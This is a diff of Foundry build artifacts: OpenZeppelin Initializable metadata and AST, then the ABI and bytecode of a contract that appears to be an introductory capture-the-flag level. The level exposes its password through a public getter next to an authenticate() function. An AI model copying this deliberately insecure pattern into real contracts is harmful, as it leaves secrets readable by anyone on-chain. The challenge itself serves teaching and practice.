leaving the proxy in an uninitialized state, the initializer function should be called as early as possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.\",\"kind\":\"dev\",\"methods\":{},\"stateVariables\":{\"_initialized\":{\"details\":\"Indicates that the contract has been initialized.\"},\"_initializing\":{\"details\":\"Indicates that the contract is in the process of being initialized.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/openzeppelin-contracts-06/contracts/proxy/Initializable.sol\":\"Initializable\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-06/contracts/proxy/Initializable.sol\":{\"keccak256\":\"0x9abeffe138f098b16557187383ba0f9e8503602fa95cd668132986ee115237ed\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://fb863d688f8bf04b846369451afba15e8129b2ee16bd1631c12138c262d1bf68\",\"dweb:/ipfs/QmRE3EmJ1T4Hg5HjGHVupP2a3Vrnd8jRY8GtB6J52QNX9z\"]},\"lib/openzeppelin-contracts-06/contracts/utils/Address.sol\":{\"keccak256\":\"0x28911e614500ae7c607a432a709d35da25f3bc5ddc8bd12b278b66358070c0ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://256c8c8af5eb072bc473226ab2b2187149b8fc04f5f4a4820db22527f5ce8e3c\",\"dweb:/ipfs/QmRvi5BhnL7Rxf85KrJhwM6RRhukm4tzoctRdgQEheNyiN\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.6.12+commit.27d51765"},"language":"Solidity","output":{"abi":[],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/openzeppelin-contracts-06/contracts/proxy/Initializable.sol":"Initializable"},"evmVersion":"istanbul","libraries":{}},"sources":{"lib/openzeppelin-contracts-06/contracts/proxy/Initializable.sol":{"keccak256":"0x9abeffe138f098b16557187383ba0f9e8503602fa95cd668132986ee115237ed","urls":["bzz-raw://fb863d688f8bf04b846369451afba15e8129b2ee16bd1631c12138c262d1bf68","dweb:/ipfs/QmRE3EmJ1T4Hg5HjGHVupP2a3Vrnd8jRY8GtB6J52QNX9z"],"license":"MIT"},"lib/openzeppelin-contracts-06/contracts/utils/Address.sol":{"keccak256":"0x28911e614500ae7c607a432a709d35da25f3bc5ddc8bd12b278b66358070c0ea","urls":["bzz-raw://256c8c8af5eb072bc473226ab2b2187149b8fc04f5f4a4820db22527f5ce8e3c","dweb:/ipfs/QmRvi5BhnL7Rxf85KrJhwM6RRhukm4tzoctRdgQEheNyiN"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"lib/openzeppelin-contracts-06/contracts/proxy/Initializable.sol","id":531,"exportedSymbols":{"Initializable":[530]},"nodeType":"SourceUnit","src":"79:1977:2","nodes":[{"id":466,"nodeType":"PragmaDirective","src":"79:32:2","nodes":[],"literals":["solidity",">=","0.4",".24","<","0.8",".0"]},{"id":467,"nodeType":"ImportDirective","src":"113:30:2","nodes":[],"absolutePath":"lib/openzeppelin-contracts-06/contracts/utils/Address.sol","file":"../utils/Address.sol","scope":531,"sourceUnit":827,"symbolAliases":[],"unitAlias":""},{"id":530,"nodeType":"ContractDefinition","src":"1084:971:2","nodes":[{"id":471,"nodeType":"VariableDeclaration","src":"1201:25:2","nodes":[],"constant":false,"documentation":{"id":469,"nodeType":"StructuredDocumentation","src":"1123:73:2","text":" @dev Indicates that the contract has been initialized."},"mutability":"mutable","name":"_initialized","overrides":null,"scope":530,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":470,"name":"bool","nodeType":"ElementaryTypeName","src":"1201:4:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"value":null,"visibility":"private"},{"id":474,"nodeType":"VariableDeclaration","src":"1329:26:2","nodes":[],"constant":false,"documentation":{"id":472,"nodeType":"StructuredDocumentation","src":"1233:91:2","text":" @dev Indicates that the contract is in the process of being initialized."},"mutability":"mutable","name":"_initializing","overrides":null,"scope":530,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":473,"name":"bool","nodeType":"ElementaryTypeName","src":"1329:4:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"value":null,"visibility":"private"},{"id":513,"nodeType":"ModifierDefinition","src":"1460:391:2","nodes":[],"body":{"id":512,"nodeType":"Block","src":"1483:368:2","nodes":[],"statements":[{"expression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":484,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":481,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"argumentTypes":null,"id":478,"name":"_initializing","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":474,"src":"1501:13:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"argumentTypes":null,"arguments":[],"expression":{"argumentTypes":[],"id":479,"name":"_isConstructor","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":529,"src":"1518:14:2","typeDescriptions":{"typeIdentifier":"t_function_internal_view$__$returns$_t_bool_$","typeString":"function () view returns (bool)"}},"id":480,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"1518:16:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"1501:33:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"argumentTypes":null,"id":483,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"1538:13:2","subExpression":{"argumentTypes":null,"id":482,"name":"_initialized","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":471,"src":"1539:12:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"1501:50:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"argumentTypes":null,"hexValue":"496e697469616c697a61626c653a20636f6e747261637420697320616c726561647920696e697469616c697a6564","id":485,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1553:48:2","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_stringliteral_7a2a4e26842155ea933fe6eb6e3137eb5a296dcdf55721c552be7b4c3cc23759","typeString":"literal_string \"Initializable: contract is already initialized\""},"value":"Initializable: contract is already initialized"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_7a2a4e26842155ea933fe6eb6e3137eb5a296dcdf55721c552be7b4c3cc23759","typeString":"literal_string \"Initializable: contract is already initialized\""}],"id":477,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1493:7:2","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":486,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"1493:109:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":487,"nodeType":"ExpressionStatement","src":"1493:109:2"},{"assignments":[489],"declarations":[{"constant":false,"id":489,"mutability":"mutable","name":"isTopLevelCall","nodeType":"VariableDeclaration","overrides":null,"scope":512,"src":"1613:19:2","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":488,"name":"bool","nodeType":"ElementaryTypeName","src":"1613:4:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"value":null,"visibility":"internal"}],"id":492,"initialValue":{"argumentTypes":null,"id":491,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"1635:14:2","subExpression":{"argumentTypes":null,"id":490,"name":"_initializing","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":474,"src":"1636:13:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"VariableDeclarationStatement","src":"1613:36:2"},{"condition":{"argumentTypes":null,"id":493,"name":"isTopLevelCall","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":489,"src":"1663:14:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":null,"id":503,"nodeType":"IfStatement","src":"1659:98:2","trueBody":{"id":502,"nodeType":"Block","src":"1679:78:2","statements":[{"expression":{"argumentTypes":null,"id":496,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"argumentTypes":null,"id":494,"name":"_initializing","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":474,"src":"1693:13:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"argumentTypes":null,"hexValue":"74727565","id":495,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"1709:4:2","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"src":"1693:20:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":497,"nodeType":"ExpressionStatement","src":"1693:20:2"},{"expression":{"argumentTypes":null,"id":500,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"argumentTypes":null,"id":498,"name":"_initialized","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":471,"src":"1727:12:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"argumentTypes":null,"hexValue":"74727565","id":499,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"1742:4:2","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"src":"1727:19:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":501,"nodeType":"ExpressionStatement","src":"1727:19:2"}]}},{"id":504,"nodeType":"PlaceholderStatement","src":"1767:1:2"},{"condition":{"argumentTypes":null,"id":505,"name":"isTopLevelCall","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":489,"src":"1783:14:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":null,"id":511,"nodeType":"IfStatement","src":"1779:66:2","trueBody":{"id":510,"nodeType":"Block","src":"1799:46:2","statements":[{"expression":{"argumentTypes":null,"id":508,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"argumentTypes":null,"id":506,"name":"_initializing","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":474,"src":"1813:13:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"argumentTypes":null,"hexValue":"66616c7365","id":507,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"1829:5:2","subdenomination":null,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},"src":"1813:21:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":509,"nodeType":"ExpressionStatement","src":"1813:21:2"}]}}]},"documentation":{"id":475,"nodeType":"StructuredDocumentation","src":"1362:93:2","text":" @dev Modifier to protect an initializer function from being invoked twice."},"name":"initializer","overrides":null,"parameters":{"id":476,"nodeType":"ParameterList","parameters":[],"src":"1480:2:2"},"virtual":false,"visibility":"internal"},{"id":529,"nodeType":"FunctionDefinition","src":"1941:112:2","nodes":[],"body":{"id":528,"nodeType":"Block","src":"1995:58:2","nodes":[],"statements":[{"expression":{"argumentTypes":null,"id":526,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"2012:34:2","subExpression":{"argumentTypes":null,"arguments":[{"argumentTypes":null,"arguments":[{"argumentTypes":null,"id":523,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"2040:4:2","typeDescriptions":{"typeIdentifier":"t_contract$_Initializable_$530","typeString":"contract Initializable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Initializable_$530","typeString":"contract Initializable"}],"id":522,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2032:7:2","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":521,"name":"address","nodeType":"ElementaryTypeName","src":"2032:7:2","typeDescriptions":{"typeIdentifier":null,"typeString":null}}},"id":524,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"2032:13:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"argumentTypes":null,"id":519,"name":"Address","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":826,"src":"2013:7:2","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Address_$826_$","typeString":"type(library Address)"}},"id":520,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberName":"isContract","nodeType":"MemberAccess","referencedDeclaration":550,"src":"2013:18:2","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_address_$returns$_t_bool_$","typeString":"function (address) view returns (bool)"}},"id":525,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"names":[],"nodeType":"FunctionCall","src":"2013:33:2","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":518,"id":527,"nodeType":"Return","src":"2005:41:2"}]},"documentation":{"id":514,"nodeType":"StructuredDocumentation","src":"1857:79:2","text":"@dev Returns true if and only if the function is running in the constructor"},"implemented":true,"kind":"function","modifiers":[],"name":"_isConstructor","overrides":null,"parameters":{"id":515,"nodeType":"ParameterList","parameters":[],"src":"1964:2:2"},"returnParameters":{"id":518,"nodeType":"ParameterList","parameters":[{"constant":false,"id":517,"mutability":"mutable","name":"","nodeType":"VariableDeclaration","overrides":null,"scope":529,"src":"1989:4:2","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":516,"name":"bool","nodeType":"ElementaryTypeName","src":"1989:4:2","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"value":null,"visibility":"internal"}],"src":"1988:6:2"},"scope":530,"stateMutability":"view","virtual":false,"visibility":"private"}],"abstract":true,"baseContracts":[],"contractDependencies":[],"contractKind":"contract","documentation":{"id":468,"nodeType":"StructuredDocumentation","src":"145:938:2","text":" @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed\n behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an\n external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer\n function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.\n TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as\n possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.\n CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure\n that all initializers are idempotent. This is not verified automatically as constructors are by Solidity."},"fullyImplemented":true,"linearizedBaseContracts":[530],"name":"Initializable","scope":531}],"license":"MIT"},"id":2} \ No newline at end of file diff --git a/contracts/out/Instance.sol/Instance.json b/contracts/out/Instance.sol/Instance.json new file mode 100644 index 000000000..a4125f394 --- /dev/null +++ b/contracts/out/Instance.sol/Instance.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[{"name":"_password","type":"string","internalType":"string"}],"stateMutability":"nonpayable"},{"type":"function","name":"authenticate","inputs":[{"name":"passkey","type":"string","internalType":"string"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"getCleared","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"info","inputs":[],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"pure"},{"type":"function","name":"info1","inputs":[],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"pure"},{"type":"function","name":"info2","inputs":[{"name":"param","type":"string","internalType":"string"}],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"pure"},{"type":"function","name":"info42","inputs":[],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"pure"},{"type":"function","name":"infoNum","inputs":[],"outputs":[{"name":"","type":"uint8","internalType":"uint8"}],"stateMutability":"view"},{"type":"function","name":"method7123949","inputs":[],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"pure"},{"type":"function","name":"password","inputs":[],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"view"},{"type":"function","name":"theMethodName","inputs":[],"outputs":[{"name":"","type":"string","internalType":"string"}],"stateMutability":"view"}],"bytecode":{"object":"0x6001805460ff1916602a17905560e0604052602160808181529061097560a03960029061002c908261010b565b506003805460ff19169055348015610042575f80fd5b50604051610996380380610996833981016040819052610061916101ca565b5f61006c828261010b565b505061028c565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061009b57607f821691505b6020821081036100b957634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561010657805f5260205f20601f840160051c810160208510156100e45750805b601f840160051c820191505b81811015610103575f81556001016100f0565b50505b505050565b81516001600160401b0381111561012457610124610073565b610138816101328454610087565b846100bf565b602080601f83116001811461016b575f84156101545750858301515b5f19600386901b1c1916600185901b1785556101c2565b5f85815260208120601f198616915b828110156101995788860151825594840194600190910190840161017a565b50858210156101b657878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b5f60208083850312156101db575f80fd5b82516001600160401b03808211156101f1575f80fd5b818501915085601f830112610204575f80fd5b81518181111561021657610216610073565b604051601f8201601f19908116603f0116810190838211818310171561023e5761023e610073565b816040528281528886848701011115610255575f80fd5b5f93505b828410156102765784840186015181850187015292850192610259565b5f86848301015280965050505050505092915050565b6106dc806102995f395ff3fe608060405234801561000f575f80fd5b50600436106100b9575f3560e01c8063aa613b2911610072578063d4c3cf4411610058578063d4c3cf4414610148578063f0bc708114610150578063f157a1e314610158575f80fd5b8063aa613b2914610114578063c253aebe14610129575f80fd5b80632cbd79a5116100a25780632cbd79a5146100ee578063370158ea146100f65780633c848d78146100fe575f80fd5b80632133b6a9146100bd578063224b610b146100e6575b5f80fd5b6100d06100cb3660046103b9565b610160565b6040516100dd9190610486565b60405180910390f35b6100d0610229565b6100d06102b4565b6100d06102d4565b60035460ff1660405190151581526020016100dd565b6101276101223660046103b9565b6102f4565b005b6001546101369060ff1681565b60405160ff90911681526020016100dd565b6100d0610358565b6100d0610378565b6100d0610398565b6040517f68656c6c6f000000000000000000000000000000000000000000000000000000602082015260609060250160405160208183030381529060405280519060200120826040516020016101b691906104b8565b60405160208183030381529060405280519060200120036101f0576040518060800160405280604681526020016105fe6046913992915050565b505060408051808201909152601081527f57726f6e6720706172616d657465722e00000000000000000000000000000000602082015290565b5f8054610235906104d3565b80601f0160208091040260200160405190810160405280929190818152602001828054610261906104d3565b80156102ac5780601f10610283576101008083540402835291602001916102ac565b820191905f5260205f20905b81548152906001019060200180831161028f57829003601f168201915b505050505081565b60606040518060600160405280602d815260200161067a602d9139905090565b60606040518060600160405280602781526020016105aa60279139905090565b5f604051602001610305919061050b565b604051602081830303815290604052805190602001208160405160200161032c91906104b8565b6040516020818303038152906040528051906020012003610355576003805460ff191660011790555b50565b60606040518060600160405280602d81526020016105d1602d9139905090565b606060405180606001604052806036815260200161064460369139905090565b60028054610235906104d3565b634e487b7160e01b5f52604160045260245ffd5b5f602082840312156103c9575f80fd5b813567ffffffffffffffff808211156103e0575f80fd5b818401915084601f8301126103f3575f80fd5b813581811115610405576104056103a5565b604051601f8201601f19908116603f0116810190838211818310171561042d5761042d6103a5565b81604052828152876020848701011115610445575f80fd5b826020860160208301375f928101602001929092525095945050505050565b5f5b8381101561047e578181015183820152602001610466565b50505f910152565b602081525f82518060208401526104a4816040850160208701610464565b601f01601f19169190910160400192915050565b5f82516104c9818460208701610464565b9190910192915050565b600181811c908216806104e757607f821691505b60208210810361050557634e487b7160e01b5f52602260045260245ffd5b50919050565b5f8083545f60018260011c9150600183168061052857607f831692505b6020808410820361054757634e487b7160e01b5f52602260045260245ffd5b81801561055b57600181146105705761059b565b60ff198616895284151585028901965061059b565b5f8a8152602090205f5b868110156105935781548b82015290850190830161057a565b505084890196505b50949897505050505050505056fe596f752077696c6c2066696e64207768617420796f75206e65656420696e20696e666f3128292e54727920696e666f3228292c206275742077697468202268656c6c6f22206173206120706172616d657465722e5468652070726f706572747920696e666f4e756d20686f6c647320746865206e756d626572206f6620746865206e65787420696e666f206d6574686f6420746f2063616c6c2e496620796f75206b6e6f77207468652070617373776f72642c207375626d697420697420746f2061757468656e74696361746528292e7468654d6574686f644e616d6520697320746865206e616d65206f6620746865206e657874206d6574686f642ea2646970667358221220def25ef24f449bda312362d2fbd646567f63fbf85888a579677cbd4b6cb980ca64736f6c63430008180033546865206d6574686f64206e616d65206973206d6574686f64373132333934392e","sourceMap":"109:25:89:-:0;;;-1:-1:-1;;109:25:89;132:2;109:25;;;140:65;57:1410;140:65;;57:1410;140:65;;;57:1410;140:65;;;;;;;;;:::i;:::-;-1:-1:-1;211:28:89;;;-1:-1:-1;;211:28:89;;;265:74;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;312:8;:20;323:9;312:8;:20;:::i;:::-;;265:74;57:1410;;14:127:155;75:10;70:3;66:20;63:1;56:31;106:4;103:1;96:15;130:4;127:1;120:15;146:380;225:1;221:12;;;;268;;;289:61;;343:4;335:6;331:17;321:27;;289:61;396:2;388:6;385:14;365:18;362:38;359:161;;442:10;437:3;433:20;430:1;423:31;477:4;474:1;467:15;505:4;502:1;495:15;359:161;;146:380;;;:::o;657:518::-;759:2;754:3;751:11;748:421;;;795:5;792:1;785:16;839:4;836:1;826:18;909:2;897:10;893:19;890:1;886:27;880:4;876:38;945:4;933:10;930:20;927:47;;;-1:-1:-1;968:4:155;927:47;1023:2;1018:3;1014:12;1011:1;1007:20;1001:4;997:31;987:41;;1078:81;1096:2;1089:5;1086:13;1078:81;;;1155:1;1141:16;;1122:1;1111:13;1078:81;;;1082:3;;748:421;657:518;;;:::o;1351:1345::-;1471:10;;-1:-1:-1;;;;;1493:30:155;;1490:56;;;1526:18;;:::i;:::-;1555:97;1645:6;1605:38;1637:4;1631:11;1605:38;:::i;:::-;1599:4;1555:97;:::i;:::-;1707:4;;1764:2;1753:14;;1781:1;1776:663;;;;2483:1;2500:6;2497:89;;;-1:-1:-1;2552:19:155;;;2546:26;2497:89;-1:-1:-1;;1308:1:155;1304:11;;;1300:24;1296:29;1286:40;1332:1;1328:11;;;1283:57;2599:81;;1746:944;;1776:663;604:1;597:14;;;641:4;628:18;;-1:-1:-1;;1812:20:155;;;1930:236;1944:7;1941:1;1938:14;1930:236;;;2033:19;;;2027:26;2012:42;;2125:27;;;;2093:1;2081:14;;;;1960:19;;1930:236;;;1934:3;2194:6;2185:7;2182:19;2179:201;;;2255:19;;;2249:26;-1:-1:-1;;2338:1:155;2334:14;;;2350:3;2330:24;2326:37;2322:42;2307:58;2292:74;;2179:201;;;2426:1;2417:6;2414:1;2410:14;2406:22;2400:4;2393:36;1746:944;;;;;1351:1345;;:::o;2701:1042::-;2781:6;2812:2;2855;2843:9;2834:7;2830:23;2826:32;2823:52;;;2871:1;2868;2861:12;2823:52;2898:16;;-1:-1:-1;;;;;2963:14:155;;;2960:34;;;2990:1;2987;2980:12;2960:34;3028:6;3017:9;3013:22;3003:32;;3073:7;3066:4;3062:2;3058:13;3054:27;3044:55;;3095:1;3092;3085:12;3044:55;3124:2;3118:9;3146:2;3142;3139:10;3136:36;;;3152:18;;:::i;:::-;3227:2;3221:9;3195:2;3281:13;;-1:-1:-1;;3277:22:155;;;3301:2;3273:31;3269:40;3257:53;;;3325:18;;;3345:22;;;3322:46;3319:72;;;3371:18;;:::i;:::-;3411:10;3407:2;3400:22;3446:2;3438:6;3431:18;3486:7;3481:2;3476;3472;3468:11;3464:20;3461:33;3458:53;;;3507:1;3504;3497:12;3458:53;3529:1;3520:10;;3539:129;3553:2;3550:1;3547:9;3539:129;;;3641:10;;;3637:19;;3631:26;3610:14;;;3606:23;;3599:59;3564:10;;;;3539:129;;;3710:1;3705:2;3700;3692:6;3688:15;3684:24;3677:35;3731:6;3721:16;;;;;;;;2701:1042;;;;:::o;:::-;57:1410:89;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561000f575f80fd5b50600436106100b9575f3560e01c8063aa613b2911610072578063d4c3cf4411610058578063d4c3cf4414610148578063f0bc708114610150578063f157a1e314610158575f80fd5b8063aa613b2914610114578063c253aebe14610129575f80fd5b80632cbd79a5116100a25780632cbd79a5146100ee578063370158ea146100f65780633c848d78146100fe575f80fd5b80632133b6a9146100bd578063224b610b146100e6575b5f80fd5b6100d06100cb3660046103b9565b610160565b6040516100dd9190610486565b60405180910390f35b6100d0610229565b6100d06102b4565b6100d06102d4565b60035460ff1660405190151581526020016100dd565b6101276101223660046103b9565b6102f4565b005b6001546101369060ff1681565b60405160ff90911681526020016100dd565b6100d0610358565b6100d0610378565b6100d0610398565b6040517f68656c6c6f000000000000000000000000000000000000000000000000000000602082015260609060250160405160208183030381529060405280519060200120826040516020016101b691906104b8565b60405160208183030381529060405280519060200120036101f0576040518060800160405280604681526020016105fe6046913992915050565b505060408051808201909152601081527f57726f6e6720706172616d657465722e00000000000000000000000000000000602082015290565b5f8054610235906104d3565b80601f0160208091040260200160405190810160405280929190818152602001828054610261906104d3565b80156102ac5780601f10610283576101008083540402835291602001916102ac565b820191905f5260205f20905b81548152906001019060200180831161028f57829003601f168201915b505050505081565b60606040518060600160405280602d815260200161067a602d9139905090565b60606040518060600160405280602781526020016105aa60279139905090565b5f604051602001610305919061050b565b604051602081830303815290604052805190602001208160405160200161032c91906104b8565b6040516020818303038152906040528051906020012003610355576003805460ff191660011790555b50565b60606040518060600160405280602d81526020016105d1602d9139905090565b606060405180606001604052806036815260200161064460369139905090565b60028054610235906104d3565b634e487b7160e01b5f52604160045260245ffd5b5f602082840312156103c9575f80fd5b813567ffffffffffffffff808211156103e0575f80fd5b818401915084601f8301126103f3575f80fd5b813581811115610405576104056103a5565b604051601f8201601f19908116603f0116810190838211818310171561042d5761042d6103a5565b81604052828152876020848701011115610445575f80fd5b826020860160208301375f928101602001929092525095945050505050565b5f5b8381101561047e578181015183820152602001610466565b50505f910152565b602081525f82518060208401526104a4816040850160208701610464565b601f01601f19169190910160400192915050565b5f82516104c9818460208701610464565b9190910192915050565b600181811c908216806104e757607f821691505b60208210810361050557634e487b7160e01b5f52602260045260245ffd5b50919050565b5f8083545f60018260011c9150600183168061052857607f831692505b6020808410820361054757634e487b7160e01b5f52602260045260245ffd5b81801561055b57600181146105705761059b565b60ff198616895284151585028901965061059b565b5f8a8152602090205f5b868110156105935781548b82015290850190830161057a565b505084890196505b50949897505050505050505056fe596f752077696c6c2066696e64207768617420796f75206e65656420696e20696e666f3128292e54727920696e666f3228292c206275742077697468202268656c6c6f22206173206120706172616d657465722e5468